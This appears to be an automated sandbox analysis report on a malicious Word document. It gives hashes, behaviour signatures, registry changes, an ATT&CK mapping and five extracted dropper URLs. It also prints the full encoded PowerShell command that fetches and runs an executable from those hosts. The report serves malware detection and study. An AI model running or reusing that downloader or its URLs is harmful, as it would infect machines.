a66b5982e41c8e78c0a807d5c1e7ecf9d554b941fad99bb856564e4ddbb5d295

General

Target

a66b5982e41c8e78c0a807d5c1e7ecf9d554b941fad99bb856564e4ddbb5d295.doc
Size

149KB
MD5

35b1085d0874798babcc94a2b350ad7d
SHA1

0d7ff87a0e1067a0dea89ee3b4969469c87d03de
SHA256

a66b5982e41c8e78c0a807d5c1e7ecf9d554b941fad99bb856564e4ddbb5d295
SHA512

7983baa8d37189bd82eab5947229bf82d1460b8fe9d4e77e4cbeb894e8b584e94bfa9c17102f755cecdd06c5013ebd1eb4531ed5c4e218fd1e20ceccea09641b

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://www.wholesale-towels.com/caapa/2skq2c8brl_ujstqor-9423/

exe.dropper

https://sehatmadu.com/wp-admin/sMsnqVEHO/

exe.dropper

http://wayuansudamai.com/wp-includes/tUhChhCpcN/

exe.dropper

http://vnilla.com/cgi-bin/xdmlv_90ij5qu1-86492/

exe.dropper

http://vcontenidos.com/wp-admin/nzxnfyy9_x7u5tyux4w-71288/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 980 1412 powershell.exe
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exe

flow pid process

5 980 powershell.exe
6 980 powershell.exe
8 980 powershell.exe
9 980 powershell.exe
12 980 powershell.exe
14 980 powershell.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	980	1412	powershell.exe

flow	pid	process
5	980	powershell.exe
6	980	powershell.exe
8	980	powershell.exe
9	980	powershell.exe
12	980	powershell.exe
14	980	powershell.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 31 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit"	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit	WINWORD.EXE
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE

Modifies registry class 64 IoCs

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{04598FC1-866C-11CF-AB7C-00AA00C08FCF}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{8BD21D63-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcToggleButton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{8BD21D33-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcCombo"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{47FF8FE2-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents3"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{5512D11B-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLText"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{04598FC9-866C-11CF-AB7C-00AA00C08FCF}\ = "IMultiPage"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Word	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{8A683C90-BA84-11CF-8110-00A0C9030074}\ = "IReturnSingle"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{A38BFFC3-A5A0-11CE-8107-00AA00611080}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF}\ = "IControl"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcList"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ = "&Open"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shellex\IconHandler	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB}\ = "Font"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}\ = "CommandButtonEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Old Icon\htmlfile	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{5CEF5613-713D-11CE-80C9-00AA00611080}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{82B02372-B5BC-11CF-810F-00A0C9030074}	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{8BD21D62-EC42-11CE-9E0D-00AA006002F3}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\MSPub.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents"	WINWORD.EXE
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{346716FF-F5AC-44E0-86D8-712032913753}\2.0\FLAGS\ = "6"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{5512D119-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLOption"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Print	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{346716FF-F5AC-44E0-86D8-712032913753}\2.0\HELPDIR\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{5B9D8FC8-4A71-101B-97A6-00000B65C08B}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F}\ = "ScrollbarEvents"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\ShellEx	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{346716FF-F5AC-44E0-86D8-712032913753}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\""	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{5512D11D-5CC6-11CF-8D67-00AA00BDCE1D}	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents7"	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{47FF8FE8-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents9"	WINWORD.EXE
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]"	WINWORD.EXE
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\TypeLib\{346716FF-F5AC-44E0-86D8-712032913753}\2.0\ = "Microsoft Forms 2.0 Object Library"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3762437355-3468409815-1164039494-1000_CLASSES\Wow6432Node\Interface\{7B020EC1-AF6C-11CE-9F46-00AA00574A4F}	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1516 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

980 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 980 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

WINWORD.EXE

pid process

1516 WINWORD.EXE
1516 WINWORD.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1516 WINWORD.EXE
1516 WINWORD.EXE

pid	process
1516	WINWORD.EXE

pid	process
980	powershell.exe

description	pid	process
Token: SeDebugPrivilege	980	powershell.exe

pid	process
1516	WINWORD.EXE
1516	WINWORD.EXE

pid	process
1516	WINWORD.EXE
1516	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXE

description	pid	process	target process
PID 1516 wrote to memory of 1728	1516	WINWORD.EXE	splwow64.exe
PID 1516 wrote to memory of 1728	1516	WINWORD.EXE	splwow64.exe
PID 1516 wrote to memory of 1728	1516	WINWORD.EXE	splwow64.exe
PID 1516 wrote to memory of 1728	1516	WINWORD.EXE	splwow64.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\a66b5982e41c8e78c0a807d5c1e7ecf9d554b941fad99bb856564e4ddbb5d295.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1516

C:\Windows\splwow64.exe
C:\Windows\splwow64.exe 12288
2⤵
PID:1728

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -e JABpADkASQA5AGwATQBJAD0AJwB2ADQANgBIAFcAcwA1ACcAOwAkAHoAOQBLADAAUwBNACAAPQAgACcAOQA4ADUAJwA7ACQATQB1AHoAdAA4AFUAaQA9ACcAegBBAHIAVgBrAGYAJwA7ACQAVQA0AEkASwA1AEQAdABVAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJAB6ADkASwAwAFMATQArACcALgBlAHgAZQAnADsAJABpAGIAUwA4AEIAMABuAD0AJwBGAEkAbABQAFIAXwBFACcAOwAkAGMARgBBAFMAcwBZAEgAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AYABXAGUAQgBgAEMATABpAGAAZQBOAFQAOwAkAGoAMgBjAFEAVwB6AEMAPQAnAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHcAaABvAGwAZQBzAGEAbABlAC0AdABvAHcAZQBsAHMALgBjAG8AbQAvAGMAYQBhAHAAYQAvADIAcwBrAHEAMgBjADgAYgByAGwAXwB1AGoAcwB0AHEAbwByAC0AOQA0ADIAMwAvAEAAaAB0AHQAcABzADoALwAvAHMAZQBoAGEAdABtAGEAZAB1AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBzAE0AcwBuAHEAVgBFAEgATwAvAEAAaAB0AHQAcAA6AC8ALwB3AGEAeQB1AGEAbgBzAHUAZABhAG0AYQBpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwB0AFUAaABDAGgAaABDAHAAYwBOAC8AQABoAHQAdABwADoALwAvAHYAbgBpAGwAbABhAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AeABkAG0AbAB2AF8AOQAwAGkAagA1AHEAdQAxAC0AOAA2ADQAOQAyAC8AQABoAHQAdABwADoALwAvAHYAYwBvAG4AdABlAG4AaQBkAG8AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbgB6AHgAbgBmAHkAeQA5AF8AeAA3AHUANQB0AHkAdQB4ADQAdwAtADcAMQAyADgAOAAvACcALgBzAFAAbABJAHQAKAAnAEAAJwApADsAJABsAHcATwBNAG8AQwBHAEYAPQAnAEwAaABWAG0AUwBFAE8AJwA7AGYAbwByAGUAYQBjAGgAKAAkAHoAXwBpAG8AOQBwACAAaQBuACAAJABqADIAYwBRAFcAegBDACkAewB0AHIAeQB7ACQAYwBGAEEAUwBzAFkASAAuAEQATwBXAG4AbABPAGEAZABmAGkAbABlACgAJAB6AF8AaQBvADkAcAAsACAAJABVADQASQBLADUARAB0AFUAKQA7ACQAWQBOAHYASwA2AGkATwBhAD0AJwBsAEEAbgBqAHcAegBRAFoAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABVADQASQBLADUARAB0AFUAKQAuAEwAZQBOAGcAVABIACAALQBnAGUAIAAyADkANQAxADIAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AFMAdABhAFIAVAAoACQAVQA0AEkASwA1AEQAdABVACkAOwAkAHIAOABEAE0AbQA3AD0AJwBQAEwARABiAEgAUwBrACcAOwBiAHIAZQBhAGsAOwAkAFEAdABhAG4AbQBSAE0APQAnAHcAagAxAEIAcAB2AHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwBzADAAUwBpAGMANAA9ACcAaQBqAGoAUQBMAHoAbgAnAA==
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:980

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/980-72-0x000007FEF4690000-0x000007FEF50B3000-memory.dmp

Filesize
10.1MB

Download
memory/980-78-0x000000000278B000-0x00000000027AA000-memory.dmp

Filesize
124KB

Download
memory/980-77-0x0000000002784000-0x0000000002787000-memory.dmp

Filesize
12KB

Download
memory/980-76-0x000000000278B000-0x00000000027AA000-memory.dmp

Filesize
124KB

Download
memory/980-75-0x000000001B730000-0x000000001BA2F000-memory.dmp

Filesize
3.0MB

Download
memory/980-73-0x000007FEF3B30000-0x000007FEF468D000-memory.dmp

Filesize
11.4MB

Download
memory/980-74-0x0000000002784000-0x0000000002787000-memory.dmp

Filesize
12KB

Download
memory/1516-69-0x0000000000477000-0x000000000048B000-memory.dmp

Filesize
80KB

Download
memory/1516-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1516-63-0x0000000000477000-0x000000000048B000-memory.dmp

Filesize
80KB

Download
memory/1516-62-0x0000000000477000-0x000000000048B000-memory.dmp

Filesize
80KB

Download
memory/1516-65-0x0000000000477000-0x000000000048B000-memory.dmp

Filesize
80KB

Download
memory/1516-54-0x0000000072C11000-0x0000000072C14000-memory.dmp

Filesize
12KB

Download
memory/1516-68-0x0000000000477000-0x000000000048B000-memory.dmp

Filesize
80KB

Download
memory/1516-70-0x0000000000477000-0x000000000048B000-memory.dmp

Filesize
80KB

Download
memory/1516-61-0x000000007167D000-0x0000000071688000-memory.dmp

Filesize
44KB

Download
memory/1516-80-0x000000007167D000-0x0000000071688000-memory.dmp

Filesize
44KB

Download
memory/1516-79-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1516-58-0x000000007167D000-0x0000000071688000-memory.dmp

Filesize
44KB

Download
memory/1516-57-0x0000000076201000-0x0000000076203000-memory.dmp

Filesize
8KB

Download
memory/1516-64-0x0000000000477000-0x000000000048B000-memory.dmp

Filesize
80KB

Download
memory/1516-55-0x0000000070691000-0x0000000070693000-memory.dmp

Filesize
8KB

Download
memory/1728-59-0x0000000000000000-mapping.dmp

Download
memory/1728-60-0x000007FEFC2C1000-0x000007FEFC2C3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads